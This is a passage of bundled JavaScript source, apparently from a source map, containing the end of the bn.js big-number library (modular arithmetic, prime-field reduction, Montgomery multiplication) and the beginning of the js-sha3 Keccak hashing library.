>= 0) {\n x.isub(y);\n A.isub(C);\n B.isub(D);\n } else {\n y.isub(x);\n C.isub(A);\n D.isub(B);\n }\n }\n\n return {\n a: C,\n b: D,\n gcd: y.iushln(g)\n };\n };\n\n // This is reduced incarnation of the binary EEA\n // above, designated to invert members of the\n // _prime_ fields F(p) at a maximal speed\n BN.prototype._invmp = function _invmp (p) {\n assert(p.negative === 0);\n assert(!p.isZero());\n\n var a = this;\n var b = p.clone();\n\n if (a.negative !== 0) {\n a = a.umod(p);\n } else {\n a = a.clone();\n }\n\n var x1 = new BN(1);\n var x2 = new BN(0);\n\n var delta = b.clone();\n\n while (a.cmpn(1) > 0 && b.cmpn(1) > 0) {\n for (var i = 0, im = 1; (a.words[0] & im) === 0 && i < 26; ++i, im <<= 1);\n if (i > 0) {\n a.iushrn(i);\n while (i-- > 0) {\n if (x1.isOdd()) {\n x1.iadd(delta);\n }\n\n x1.iushrn(1);\n }\n }\n\n for (var j = 0, jm = 1; (b.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1);\n if (j > 0) {\n b.iushrn(j);\n while (j-- > 0) {\n if (x2.isOdd()) {\n x2.iadd(delta);\n }\n\n x2.iushrn(1);\n }\n }\n\n if (a.cmp(b) >= 0) {\n a.isub(b);\n x1.isub(x2);\n } else {\n b.isub(a);\n x2.isub(x1);\n }\n }\n\n var res;\n if (a.cmpn(1) === 0) {\n res = x1;\n } else {\n res = x2;\n }\n\n if (res.cmpn(0) < 0) {\n res.iadd(p);\n }\n\n return res;\n };\n\n BN.prototype.gcd = function gcd (num) {\n if (this.isZero()) return num.abs();\n if (num.isZero()) return this.abs();\n\n var a = this.clone();\n var b = num.clone();\n a.negative = 0;\n b.negative = 0;\n\n // Remove common factor of two\n for (var shift = 0; a.isEven() && b.isEven(); shift++) {\n a.iushrn(1);\n b.iushrn(1);\n }\n\n do {\n while (a.isEven()) {\n a.iushrn(1);\n }\n while (b.isEven()) {\n b.iushrn(1);\n }\n\n var r = a.cmp(b);\n if (r < 0) {\n // Swap `a` and `b` to make `a` always bigger than `b`\n var t = a;\n a = b;\n b = t;\n } else if (r === 0 || b.cmpn(1) === 0) {\n break;\n }\n\n a.isub(b);\n } while (true);\n\n return b.iushln(shift);\n };\n\n // Invert number in the field F(num)\n BN.prototype.invm = function invm (num) {\n return this.egcd(num).a.umod(num);\n };\n\n BN.prototype.isEven = function isEven () {\n return (this.words[0] & 1) === 0;\n };\n\n BN.prototype.isOdd = function isOdd () {\n return (this.words[0] & 1) === 1;\n };\n\n // And first word and num\n BN.prototype.andln = function andln (num) {\n return this.words[0] & num;\n };\n\n // Increment at the bit position in-line\n BN.prototype.bincn = function bincn (bit) {\n assert(typeof bit === 'number');\n var r = bit % 26;\n var s = (bit - r) / 26;\n var q = 1 << r;\n\n // Fast case: bit is much higher than all existing words\n if (this.length <= s) {\n this._expand(s + 1);\n this.words[s] |= q;\n return this;\n }\n\n // Add bit and propagate, if needed\n var carry = q;\n for (var i = s; carry !== 0 && i < this.length; i++) {\n var w = this.words[i] | 0;\n w += carry;\n carry = w >>> 26;\n w &= 0x3ffffff;\n this.words[i] = w;\n }\n if (carry !== 0) {\n this.words[i] = carry;\n this.length++;\n }\n return this;\n };\n\n BN.prototype.isZero = function isZero () {\n return this.length === 1 && this.words[0] === 0;\n };\n\n BN.prototype.cmpn = function cmpn (num) {\n var negative = num < 0;\n\n if (this.negative !== 0 && !negative) return -1;\n if (this.negative === 0 && negative) return 1;\n\n this._strip();\n\n var res;\n if (this.length > 1) {\n res = 1;\n } else {\n if (negative) {\n num = -num;\n }\n\n assert(num <= 0x3ffffff, 'Number is too big');\n\n var w = this.words[0] | 0;\n res = w === num ? 0 : w < num ? -1 : 1;\n }\n if (this.negative !== 0) return -res | 0;\n return res;\n };\n\n // Compare two numbers and return:\n // 1 - if `this` > `num`\n // 0 - if `this` == `num`\n // -1 - if `this` < `num`\n BN.prototype.cmp = function cmp (num) {\n if (this.negative !== 0 && num.negative === 0) return -1;\n if (this.negative === 0 && num.negative !== 0) return 1;\n\n var res = this.ucmp(num);\n if (this.negative !== 0) return -res | 0;\n return res;\n };\n\n // Unsigned comparison\n BN.prototype.ucmp = function ucmp (num) {\n // At this point both numbers have the same sign\n if (this.length > num.length) return 1;\n if (this.length < num.length) return -1;\n\n var res = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n var a = this.words[i] | 0;\n var b = num.words[i] | 0;\n\n if (a === b) continue;\n if (a < b) {\n res = -1;\n } else if (a > b) {\n res = 1;\n }\n break;\n }\n return res;\n };\n\n BN.prototype.gtn = function gtn (num) {\n return this.cmpn(num) === 1;\n };\n\n BN.prototype.gt = function gt (num) {\n return this.cmp(num) === 1;\n };\n\n BN.prototype.gten = function gten (num) {\n return this.cmpn(num) >= 0;\n };\n\n BN.prototype.gte = function gte (num) {\n return this.cmp(num) >= 0;\n };\n\n BN.prototype.ltn = function ltn (num) {\n return this.cmpn(num) === -1;\n };\n\n BN.prototype.lt = function lt (num) {\n return this.cmp(num) === -1;\n };\n\n BN.prototype.lten = function lten (num) {\n return this.cmpn(num) <= 0;\n };\n\n BN.prototype.lte = function lte (num) {\n return this.cmp(num) <= 0;\n };\n\n BN.prototype.eqn = function eqn (num) {\n return this.cmpn(num) === 0;\n };\n\n BN.prototype.eq = function eq (num) {\n return this.cmp(num) === 0;\n };\n\n //\n // A reduce context, could be using montgomery or something better, depending\n // on the `m` itself.\n //\n BN.red = function red (num) {\n return new Red(num);\n };\n\n BN.prototype.toRed = function toRed (ctx) {\n assert(!this.red, 'Already a number in reduction context');\n assert(this.negative === 0, 'red works only with positives');\n return ctx.convertTo(this)._forceRed(ctx);\n };\n\n BN.prototype.fromRed = function fromRed () {\n assert(this.red, 'fromRed works only with numbers in reduction context');\n return this.red.convertFrom(this);\n };\n\n BN.prototype._forceRed = function _forceRed (ctx) {\n this.red = ctx;\n return this;\n };\n\n BN.prototype.forceRed = function forceRed (ctx) {\n assert(!this.red, 'Already a number in reduction context');\n return this._forceRed(ctx);\n };\n\n BN.prototype.redAdd = function redAdd (num) {\n assert(this.red, 'redAdd works only with red numbers');\n return this.red.add(this, num);\n };\n\n BN.prototype.redIAdd = function redIAdd (num) {\n assert(this.red, 'redIAdd works only with red numbers');\n return this.red.iadd(this, num);\n };\n\n BN.prototype.redSub = function redSub (num) {\n assert(this.red, 'redSub works only with red numbers');\n return this.red.sub(this, num);\n };\n\n BN.prototype.redISub = function redISub (num) {\n assert(this.red, 'redISub works only with red numbers');\n return this.red.isub(this, num);\n };\n\n BN.prototype.redShl = function redShl (num) {\n assert(this.red, 'redShl works only with red numbers');\n return this.red.shl(this, num);\n };\n\n BN.prototype.redMul = function redMul (num) {\n assert(this.red, 'redMul works only with red numbers');\n this.red._verify2(this, num);\n return this.red.mul(this, num);\n };\n\n BN.prototype.redIMul = function redIMul (num) {\n assert(this.red, 'redMul works only with red numbers');\n this.red._verify2(this, num);\n return this.red.imul(this, num);\n };\n\n BN.prototype.redSqr = function redSqr () {\n assert(this.red, 'redSqr works only with red numbers');\n this.red._verify1(this);\n return this.red.sqr(this);\n };\n\n BN.prototype.redISqr = function redISqr () {\n assert(this.red, 'redISqr works only with red numbers');\n this.red._verify1(this);\n return this.red.isqr(this);\n };\n\n // Square root over p\n BN.prototype.redSqrt = function redSqrt () {\n assert(this.red, 'redSqrt works only with red numbers');\n this.red._verify1(this);\n return this.red.sqrt(this);\n };\n\n BN.prototype.redInvm = function redInvm () {\n assert(this.red, 'redInvm works only with red numbers');\n this.red._verify1(this);\n return this.red.invm(this);\n };\n\n // Return negative clone of `this` % `red modulo`\n BN.prototype.redNeg = function redNeg () {\n assert(this.red, 'redNeg works only with red numbers');\n this.red._verify1(this);\n return this.red.neg(this);\n };\n\n BN.prototype.redPow = function redPow (num) {\n assert(this.red && !num.red, 'redPow(normalNum)');\n this.red._verify1(this);\n return this.red.pow(this, num);\n };\n\n // Prime numbers with efficient reduction\n var primes = {\n k256: null,\n p224: null,\n p192: null,\n p25519: null\n };\n\n // Pseudo-Mersenne prime\n function MPrime (name, p) {\n // P = 2 ^ N - K\n this.name = name;\n this.p = new BN(p, 16);\n this.n = this.p.bitLength();\n this.k = new BN(1).iushln(this.n).isub(this.p);\n\n this.tmp = this._tmp();\n }\n\n MPrime.prototype._tmp = function _tmp () {\n var tmp = new BN(null);\n tmp.words = new Array(Math.ceil(this.n / 13));\n return tmp;\n };\n\n MPrime.prototype.ireduce = function ireduce (num) {\n // Assumes that `num` is less than `P^2`\n // num = HI * (2 ^ N - K) + HI * K + LO = HI * K + LO (mod P)\n var r = num;\n var rlen;\n\n do {\n this.split(r, this.tmp);\n r = this.imulK(r);\n r = r.iadd(this.tmp);\n rlen = r.bitLength();\n } while (rlen > this.n);\n\n var cmp = rlen < this.n ? -1 : r.ucmp(this.p);\n if (cmp === 0) {\n r.words[0] = 0;\n r.length = 1;\n } else if (cmp > 0) {\n r.isub(this.p);\n } else {\n if (r.strip !== undefined) {\n // r is a BN v4 instance\n r.strip();\n } else {\n // r is a BN v5 instance\n r._strip();\n }\n }\n\n return r;\n };\n\n MPrime.prototype.split = function split (input, out) {\n input.iushrn(this.n, 0, out);\n };\n\n MPrime.prototype.imulK = function imulK (num) {\n return num.imul(this.k);\n };\n\n function K256 () {\n MPrime.call(\n this,\n 'k256',\n 'ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f');\n }\n inherits(K256, MPrime);\n\n K256.prototype.split = function split (input, output) {\n // 256 = 9 * 26 + 22\n var mask = 0x3fffff;\n\n var outLen = Math.min(input.length, 9);\n for (var i = 0; i < outLen; i++) {\n output.words[i] = input.words[i];\n }\n output.length = outLen;\n\n if (input.length <= 9) {\n input.words[0] = 0;\n input.length = 1;\n return;\n }\n\n // Shift by 9 limbs\n var prev = input.words[9];\n output.words[output.length++] = prev & mask;\n\n for (i = 10; i < input.length; i++) {\n var next = input.words[i] | 0;\n input.words[i - 10] = ((next & mask) << 4) | (prev >>> 22);\n prev = next;\n }\n prev >>>= 22;\n input.words[i - 10] = prev;\n if (prev === 0 && input.length > 10) {\n input.length -= 10;\n } else {\n input.length -= 9;\n }\n };\n\n K256.prototype.imulK = function imulK (num) {\n // K = 0x1000003d1 = [ 0x40, 0x3d1 ]\n num.words[num.length] = 0;\n num.words[num.length + 1] = 0;\n num.length += 2;\n\n // bounded at: 0x40 * 0x3ffffff + 0x3d0 = 0x100000390\n var lo = 0;\n for (var i = 0; i < num.length; i++) {\n var w = num.words[i] | 0;\n lo += w * 0x3d1;\n num.words[i] = lo & 0x3ffffff;\n lo = w * 0x40 + ((lo / 0x4000000) | 0);\n }\n\n // Fast length reduction\n if (num.words[num.length - 1] === 0) {\n num.length--;\n if (num.words[num.length - 1] === 0) {\n num.length--;\n }\n }\n return num;\n };\n\n function P224 () {\n MPrime.call(\n this,\n 'p224',\n 'ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001');\n }\n inherits(P224, MPrime);\n\n function P192 () {\n MPrime.call(\n this,\n 'p192',\n 'ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff');\n }\n inherits(P192, MPrime);\n\n function P25519 () {\n // 2 ^ 255 - 19\n MPrime.call(\n this,\n '25519',\n '7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed');\n }\n inherits(P25519, MPrime);\n\n P25519.prototype.imulK = function imulK (num) {\n // K = 0x13\n var carry = 0;\n for (var i = 0; i < num.length; i++) {\n var hi = (num.words[i] | 0) * 0x13 + carry;\n var lo = hi & 0x3ffffff;\n hi >>>= 26;\n\n num.words[i] = lo;\n carry = hi;\n }\n if (carry !== 0) {\n num.words[num.length++] = carry;\n }\n return num;\n };\n\n // Exported mostly for testing purposes, use plain name instead\n BN._prime = function prime (name) {\n // Cached version of prime\n if (primes[name]) return primes[name];\n\n var prime;\n if (name === 'k256') {\n prime = new K256();\n } else if (name === 'p224') {\n prime = new P224();\n } else if (name === 'p192') {\n prime = new P192();\n } else if (name === 'p25519') {\n prime = new P25519();\n } else {\n throw new Error('Unknown prime ' + name);\n }\n primes[name] = prime;\n\n return prime;\n };\n\n //\n // Base reduction engine\n //\n function Red (m) {\n if (typeof m === 'string') {\n var prime = BN._prime(m);\n this.m = prime.p;\n this.prime = prime;\n } else {\n assert(m.gtn(1), 'modulus must be greater than 1');\n this.m = m;\n this.prime = null;\n }\n }\n\n Red.prototype._verify1 = function _verify1 (a) {\n assert(a.negative === 0, 'red works only with positives');\n assert(a.red, 'red works only with red numbers');\n };\n\n Red.prototype._verify2 = function _verify2 (a, b) {\n assert((a.negative | b.negative) === 0, 'red works only with positives');\n assert(a.red && a.red === b.red,\n 'red works only with red numbers');\n };\n\n Red.prototype.imod = function imod (a) {\n if (this.prime) return this.prime.ireduce(a)._forceRed(this);\n\n move(a, a.umod(this.m)._forceRed(this));\n return a;\n };\n\n Red.prototype.neg = function neg (a) {\n if (a.isZero()) {\n return a.clone();\n }\n\n return this.m.sub(a)._forceRed(this);\n };\n\n Red.prototype.add = function add (a, b) {\n this._verify2(a, b);\n\n var res = a.add(b);\n if (res.cmp(this.m) >= 0) {\n res.isub(this.m);\n }\n return res._forceRed(this);\n };\n\n Red.prototype.iadd = function iadd (a, b) {\n this._verify2(a, b);\n\n var res = a.iadd(b);\n if (res.cmp(this.m) >= 0) {\n res.isub(this.m);\n }\n return res;\n };\n\n Red.prototype.sub = function sub (a, b) {\n this._verify2(a, b);\n\n var res = a.sub(b);\n if (res.cmpn(0) < 0) {\n res.iadd(this.m);\n }\n return res._forceRed(this);\n };\n\n Red.prototype.isub = function isub (a, b) {\n this._verify2(a, b);\n\n var res = a.isub(b);\n if (res.cmpn(0) < 0) {\n res.iadd(this.m);\n }\n return res;\n };\n\n Red.prototype.shl = function shl (a, num) {\n this._verify1(a);\n return this.imod(a.ushln(num));\n };\n\n Red.prototype.imul = function imul (a, b) {\n this._verify2(a, b);\n return this.imod(a.imul(b));\n };\n\n Red.prototype.mul = function mul (a, b) {\n this._verify2(a, b);\n return this.imod(a.mul(b));\n };\n\n Red.prototype.isqr = function isqr (a) {\n return this.imul(a, a.clone());\n };\n\n Red.prototype.sqr = function sqr (a) {\n return this.mul(a, a);\n };\n\n Red.prototype.sqrt = function sqrt (a) {\n if (a.isZero()) return a.clone();\n\n var mod3 = this.m.andln(3);\n assert(mod3 % 2 === 1);\n\n // Fast case\n if (mod3 === 3) {\n var pow = this.m.add(new BN(1)).iushrn(2);\n return this.pow(a, pow);\n }\n\n // Tonelli-Shanks algorithm (Totally unoptimized and slow)\n //\n // Find Q and S, that Q * 2 ^ S = (P - 1)\n var q = this.m.subn(1);\n var s = 0;\n while (!q.isZero() && q.andln(1) === 0) {\n s++;\n q.iushrn(1);\n }\n assert(!q.isZero());\n\n var one = new BN(1).toRed(this);\n var nOne = one.redNeg();\n\n // Find quadratic non-residue\n // NOTE: Max is such because of generalized Riemann hypothesis.\n var lpow = this.m.subn(1).iushrn(1);\n var z = this.m.bitLength();\n z = new BN(2 * z * z).toRed(this);\n\n while (this.pow(z, lpow).cmp(nOne) !== 0) {\n z.redIAdd(nOne);\n }\n\n var c = this.pow(z, q);\n var r = this.pow(a, q.addn(1).iushrn(1));\n var t = this.pow(a, q);\n var m = s;\n while (t.cmp(one) !== 0) {\n var tmp = t;\n for (var i = 0; tmp.cmp(one) !== 0; i++) {\n tmp = tmp.redSqr();\n }\n assert(i < m);\n var b = this.pow(c, new BN(1).iushln(m - i - 1));\n\n r = r.redMul(b);\n c = b.redSqr();\n t = t.redMul(c);\n m = i;\n }\n\n return r;\n };\n\n Red.prototype.invm = function invm (a) {\n var inv = a._invmp(this.m);\n if (inv.negative !== 0) {\n inv.negative = 0;\n return this.imod(inv).redNeg();\n } else {\n return this.imod(inv);\n }\n };\n\n Red.prototype.pow = function pow (a, num) {\n if (num.isZero()) return new BN(1).toRed(this);\n if (num.cmpn(1) === 0) return a.clone();\n\n var windowSize = 4;\n var wnd = new Array(1 << windowSize);\n wnd[0] = new BN(1).toRed(this);\n wnd[1] = a;\n for (var i = 2; i < wnd.length; i++) {\n wnd[i] = this.mul(wnd[i - 1], a);\n }\n\n var res = wnd[0];\n var current = 0;\n var currentLen = 0;\n var start = num.bitLength() % 26;\n if (start === 0) {\n start = 26;\n }\n\n for (i = num.length - 1; i >= 0; i--) {\n var word = num.words[i];\n for (var j = start - 1; j >= 0; j--) {\n var bit = (word >> j) & 1;\n if (res !== wnd[0]) {\n res = this.sqr(res);\n }\n\n if (bit === 0 && current === 0) {\n currentLen = 0;\n continue;\n }\n\n current <<= 1;\n current |= bit;\n currentLen++;\n if (currentLen !== windowSize && (i !== 0 || j !== 0)) continue;\n\n res = this.mul(res, wnd[current]);\n currentLen = 0;\n current = 0;\n }\n start = 26;\n }\n\n return res;\n };\n\n Red.prototype.convertTo = function convertTo (num) {\n var r = num.umod(this.m);\n\n return r === num ? r.clone() : r;\n };\n\n Red.prototype.convertFrom = function convertFrom (num) {\n var res = num.clone();\n res.red = null;\n return res;\n };\n\n //\n // Montgomery method engine\n //\n\n BN.mont = function mont (num) {\n return new Mont(num);\n };\n\n function Mont (m) {\n Red.call(this, m);\n\n this.shift = this.m.bitLength();\n if (this.shift % 26 !== 0) {\n this.shift += 26 - (this.shift % 26);\n }\n\n this.r = new BN(1).iushln(this.shift);\n this.r2 = this.imod(this.r.sqr());\n this.rinv = this.r._invmp(this.m);\n\n this.minv = this.rinv.mul(this.r).isubn(1).div(this.m);\n this.minv = this.minv.umod(this.r);\n this.minv = this.r.sub(this.minv);\n }\n inherits(Mont, Red);\n\n Mont.prototype.convertTo = function convertTo (num) {\n return this.imod(num.ushln(this.shift));\n };\n\n Mont.prototype.convertFrom = function convertFrom (num) {\n var r = this.imod(num.mul(this.rinv));\n r.red = null;\n return r;\n };\n\n Mont.prototype.imul = function imul (a, b) {\n if (a.isZero() || b.isZero()) {\n a.words[0] = 0;\n a.length = 1;\n return a;\n }\n\n var t = a.imul(b);\n var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);\n var u = t.isub(c).iushrn(this.shift);\n var res = u;\n\n if (u.cmp(this.m) >= 0) {\n res = u.isub(this.m);\n } else if (u.cmpn(0) < 0) {\n res = u.iadd(this.m);\n }\n\n return res._forceRed(this);\n };\n\n Mont.prototype.mul = function mul (a, b) {\n if (a.isZero() || b.isZero()) return new BN(0)._forceRed(this);\n\n var t = a.mul(b);\n var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);\n var u = t.isub(c).iushrn(this.shift);\n var res = u;\n if (u.cmp(this.m) >= 0) {\n res = u.isub(this.m);\n } else if (u.cmpn(0) < 0) {\n res = u.iadd(this.m);\n }\n\n return res._forceRed(this);\n };\n\n Mont.prototype.invm = function invm (a) {\n // (AR)^-1 * R^2 = (A^-1 * R^-1) * R^2 = A^-1 * R\n var res = this.imod(a._invmp(this.m).mul(this.r2));\n return res._forceRed(this);\n };\n})(typeof module === 'undefined' || module, this);\n", "/**\n * [js-sha3]{@link https://github.com/emn178/js-sha3}\n *\n * @version 0.8.0\n * @author Chen, Yi-Cyuan [emn178@gmail.com]\n * @copyright Chen, Yi-Cyuan 2015-2018\n * @license MIT\n */\n/*jslint bitwise: true */\n(function () {\n 'use strict';\n\n var INPUT_ERROR = 'input is invalid type';\n var FINALIZE_ERROR = 'finalize already called';\n var WINDOW = typeof window === 'object';\n var root = WINDOW ? window : {};\n if (root.JS_SHA3_NO_WINDOW) {\n WINDOW = false;\n }\n var WEB_WORKER = !WINDOW && typeof self === 'object';\n var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;\n if (NODE_JS) {\n root = global;\n } else if (WEB_WORKER) {\n root = self;\n }\n var COMMON_JS = !root.JS_SHA3_NO_COMMON_JS && typeof module === 'object' && module.exports;\n var AMD = typeof define === 'function' && define.amd;\n var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';\n var HEX_CHARS = '0123456789abcdef'.split('');\n var SHAKE_PADDING = [31, 7936, 2031616, 520093696];\n var CSHAKE_PADDING = [4, 1024, 262144, 67108864];\n var KECCAK_PADDING = [1, 256, 65536, 16777216];\n var PADDING = [6, 1536, 393216, 100663296];\n var SHIFT = [0, 8, 16, 24];\n var RC = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649,\n 0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0,\n 2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771,\n 2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648,\n 2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648];\n var BITS = [224, 256, 384, 512];\n var SHAKE_BITS = [128, 256];\n var OUTPUT_TYPES = ['hex', 'buffer', 'arrayBuffer', 'array', 'digest'];\n var CSHAKE_BYTEPAD = {\n '128': 168,\n '256': 136\n };\n\n if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) {\n Array.isArray = function (obj) {\n return Object.prototype.toString.call(obj) === '[object Array]';\n };\n }\n\n if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {\n ArrayBuffer.isView = function (obj) {\n return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer;\n };\n }\n\n var createOutputMethod = function (bits, padding, outputType) {\n return function (message) {\n return new Keccak(bits, padding, bits).update(message)[outputType]();\n };\n };\n\n var createShakeOutputMethod = function (bits, padding, outputType) {\n return function (message, outputBits) {\n return new Keccak(bits, padding, outputBits).update(message)[outputType]();\n };\n };\n\n var createCshakeOutputMethod = function (bits, padding, outputType) {\n return function (message, outputBits, n, s) {\n return methods['cshake' + bits].update(message, outputBits, n, s)[outputType]();\n };\n };\n\n var createKmacOutputMethod = function (bits, padding, outputType) {\n return function (key, message, outputBits, s) {\n return methods['kmac' + bits].update(key, message, outputBits, s)[outputType]();\n };\n };\n\n var createOutputMethods = function (method, createMethod, bits, padding) {\n for (var i = 0; i < OUTPUT_TYPES.length; ++i) {\n var type = OUTPUT_TYPES[i];\n method[type] = createMethod(bits, padding, type);\n }\n return method;\n };\n\n var createMethod = function (bits, padding) {\n var method = createOutputMethod(bits, padding, 'hex');\n method.create = function () {\n return new Keccak(bits, padding, bits);\n };\n method.update = function (message) {\n return method.create().update(message);\n };\n return createOutputMethods(method, createOutputMethod, bits, padding);\n };\n\n var createShakeMethod = function (bits, padding) {\n var method = createShakeOutputMethod(bits, padding, 'hex');\n method.create = function (outputBits) {\n return new Keccak(bits, padding, outputBits);\n };\n method.update = function (message, outputBits) {\n return method.create(outputBits).update(message);\n };\n return createOutputMethods(method, createShakeOutputMethod, bits, padding);\n };\n\n var createCshakeMethod = function (bits, padding) {\n var w = CSHAKE_BYTEPAD[bits];\n var method = createCshakeOutputMethod(bits, padding, 'hex');\n method.create = function (outputBits, n, s) {\n if (!n && !s) {\n return methods['shake' + bits].create(outputBits);\n } else {\n return new Keccak(bits, padding, outputBits).bytepad([n, s], w);\n }\n };\n method.update = function (message, outputBits, n, s) {\n return method.create(outputBits, n, s).update(message);\n };\n return createOutputMethods(method, createCshakeOutputMethod, bits, padding);\n };\n\n var createKmacMethod = function (bits, padding) {\n var w = CSHAKE_BYTEPAD[bits];\n var method = createKmacOutputMethod(bits, padding, 'hex');\n method.create = function (key, outputBits, s) {\n return new Kmac(bits, padding, outputBits).bytepad(['KMAC', s], w).bytepad([key], w);\n };\n method.update = function (key, message, outputBits, s) {\n return method.create(key, outputBits, s).update(message);\n };\n return createOutputMethods(method, createKmacOutputMethod, bits, padding);\n };\n\n var algorithms = [\n { name: 'keccak', padding: KECCAK_PADDING, bits: BITS, createMethod: createMethod },\n { name: 'sha3', padding: PADDING, bits: BITS, createMethod: createMethod },\n { name: 'shake', padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod },\n { name: 'cshake', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod },\n { name: 'kmac', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod }\n ];\n\n var methods = {}, methodNames = [];\n\n for (var i = 0; i < algorithms.length; ++i) {\n var algorithm = algorithms[i];\n var bits = algorithm.bits;\n for (var j = 0; j < bits.length; ++j) {\n var methodName = algorithm.name + '_' + bits[j];\n methodNames.push(methodName);\n methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding);\n if (algorithm.name !== 'sha3') {\n var newMethodName = algorithm.name + bits[j];\n methodNames.push(newMethodName);\n methods[newMethodName] = methods[methodName];\n }\n }\n }\n\n function Keccak(bits, padding, outputBits) {\n this.blocks = [];\n this.s = [];\n this.padding = padding;\n this.outputBits = outputBits;\n this.reset = true;\n this.finalized = false;\n this.block = 0;\n this.start = 0;\n this.blockCount = (1600 - (bits << 1)) >> 5;\n this.byteCount = this.blockCount << 2;\n this.outputBlocks = outputBits >> 5;\n this.extraBytes = (outputBits & 31) >> 3;\n\n for (var i = 0; i < 50; ++i) {\n this.s[i] = 0;\n }\n }\n\n Keccak.prototype.update = function (message) {\n if (this.finalized) {\n throw new Error(FINALIZE_ERROR);\n }\n var notString, type = typeof message;\n if (type !== 'string') {\n if (type === 'object') {\n if (message === null) {\n throw new Error(INPUT_ERROR);\n } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {\n message = new Uint8Array(message);\n } else if (!Array.isArray(message)) {\n if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {\n throw new Error(INPUT_ERROR);\n }\n }\n } else {\n throw new Error(INPUT_ERROR);\n }\n notString = true;\n }\n var blocks = this.blocks, byteCount = this.byteCount, length = message.length,\n blockCount = this.blockCount, index = 0, s = this.s, i, code;\n\n while (index < length) {\n if (this.reset) {\n this.reset = false;\n blocks[0] = this.block;\n for (i = 1; i < blockCount + 1; ++i) {\n blocks[i] = 0;\n }\n }\n if (notString) {\n for (i = this.start; index < length && i < byteCount; ++index) {\n blocks[i >> 2] |= message[index] << SHIFT[i++ & 3];\n }\n } else {\n for (i = this.start; index < length && i < byteCount; ++index) {\n code = message.charCodeAt(index);\n if (code < 0x80) {\n blocks[i >> 2] |= code << SHIFT[i++ & 3];\n } else if (code < 0x800) {\n blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n } else if (code < 0xd800 || code >= 0xe000) {\n blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n } else {\n code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));\n blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];\n blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n }\n }\n }\n this.lastByteIndex = i;\n if (i >= byteCount) {\n this.start = i - byteCount;\n this.block = blocks[blockCount];\n for (i = 0; i < blockCount; ++i) {\n s[i] ^= blocks[i];\n }\n f(s);\n this.reset = true;\n } else {\n this.start = i;\n }\n }\n return this;\n };\n\n Keccak.prototype.encode = function (x, right) {\n var o = x & 255, n = 1;\n var bytes = [o];\n x = x >> 8;\n o = x & 255;\n while (o > 0) {\n bytes.unshift(o);\n x = x >> 8;\n o = x & 255;\n ++n;\n }\n if (right) {\n bytes.push(n);\n } else {\n bytes.unshift(n);\n }\n this.update(bytes);\n return bytes.length;\n };\n\n Keccak.prototype.encodeString = function (str) {\n var notString, type = typeof str;\n if (type !== 'string') {\n if (type === 'object') {\n if (str === null) {\n throw new Error(INPUT_ERROR);\n } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) {\n str = new Uint8Array(str);\n } else if (!Array.isArray(str)) {\n if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) {\n throw new Error(INPUT_ERROR);\n }\n }\n } else {\n throw new Error(INPUT_ERROR);\n }\n notString = true;\n }\n var bytes = 0, length = str.length;\n if (notString) {\n bytes = length;\n } else {\n for (var i = 0; i < str.length; ++i) {\n var code = str.charCodeAt(i);\n if (code < 0x80) {\n bytes += 1;\n } else if (code < 0x800) {\n bytes += 2;\n } else if (code < 0xd800 || code >= 0xe000) {\n bytes += 3;\n } else {\n code = 0x10000 + (((code & 0x3ff) << 10) | (str.charCodeAt(++i) & 0x3ff));\n bytes += 4;\n }\n }\n }\n bytes += this.encode(bytes * 8);\n this.update(str);\n return bytes;\n };\n\n Keccak.prototype.bytepad = function (strs, w) {\n var bytes = this.encode(w);\n for (var i = 0; i < strs.length; ++i) {\n bytes += this.encodeString(strs[i]);\n }\n var paddingBytes = w - bytes % w;\n var zeros = [];\n zeros.length = paddingBytes;\n this.update(zeros);\n return this;\n };\n\n Keccak.prototype.finalize = function () {\n if (this.finalized) {\n return;\n }\n this.finalized = true;\n var blocks = this.blocks, i = this.lastByteIndex, blockCount = this.blockCount, s = this.s;\n blocks[i >> 2] |= this.padding[i & 3];\n if (this.lastByteIndex === this.byteCount) {\n blocks[0] = blocks[blockCount];\n for (i = 1; i < blockCount + 1; ++i) {\n blocks[i] = 0;\n }\n }\n 